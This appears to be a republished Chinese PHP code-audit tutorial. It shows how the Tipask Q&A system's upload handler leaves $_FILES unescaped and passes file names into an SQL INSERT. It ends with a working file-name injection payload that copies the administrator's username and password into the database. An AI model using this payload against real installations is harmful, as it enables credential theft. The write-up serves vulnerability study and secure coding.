【PHP代码审计】那些年我们一起挖掘SQL注入-7.全局防护盲点的总结下篇

独自等待 2017年5月12日02:13:23评论404 views字数 747阅读2分29秒阅读模式

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇http://www.cnbraid.com/2016/04/29/sql5/,这里介绍另外两种情况。

盲点如下:

①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;

②变量覆盖,危险函数:extract()、parse_str()、$$。

0x02 漏洞分析

FILES注入

FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统

首先看看它的全局防护是怎么处理的:

index.php里:
include TIPASK_ROOT . '/model/tipask.class.php';
$tipask = new tipask();
$tipask->run();
... ...
跟进到/model/tipask.class.php里:
function init_request() {
... ...
        $this->get = taddslashes($this->get, 1);
        $this->post = taddslashes(array_merge($_GET, $_POST));
        checkattack($this->post, 'post');
        checkattack($this->get, 'get');
        unset($_POST);
    }

可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

 "data/attach/", //保存路径
  "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
  "fileSize" => 10 //文件大小限制,单位MB
 );

 //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
 $state = "SUCCESS";
 $clientFile = $_FILES["upfile"];
 if (!isset($clientFile)) {
  echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
  exit;
 }

 //格式验证
 $current_type = strtolower(strrchr($clientFile["name"], '.'));
 if (!in_array($current_type, $config['fileType'])) {
  $state = "不支持的文件类型!";
 }
 //大小验证
 $file_size = 1024 * 1024 * $config['fileSize'];
 if ($clientFile["size"] > $file_size) {
  $state = "文件大小超出限制!";
 }
 //保存文件
 if ($state == "SUCCESS") {
  $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
  $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
  if (!$result) {
   $state = "文件保存失败!";
  } else {
   //这里将上传的文件名带入数据库查询
   $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
  }
 }
    //向浏览器返回数据json数据
 echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
}

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

base->user['uid'];
 $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");
 return $this->db->insert_id();
}

上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"

数据库里成功将管理员账户密码插入到attach表中:

sql6_01

原文地址:http://www.cnbraid.com/2016/05/10/sql6/



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:13:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PHP代码审计】那些年我们一起挖掘SQL注入-7.全局防护盲点的总结下篇http://cn-sec.com/archives/50339.html

发表评论

匿名网友 填写信息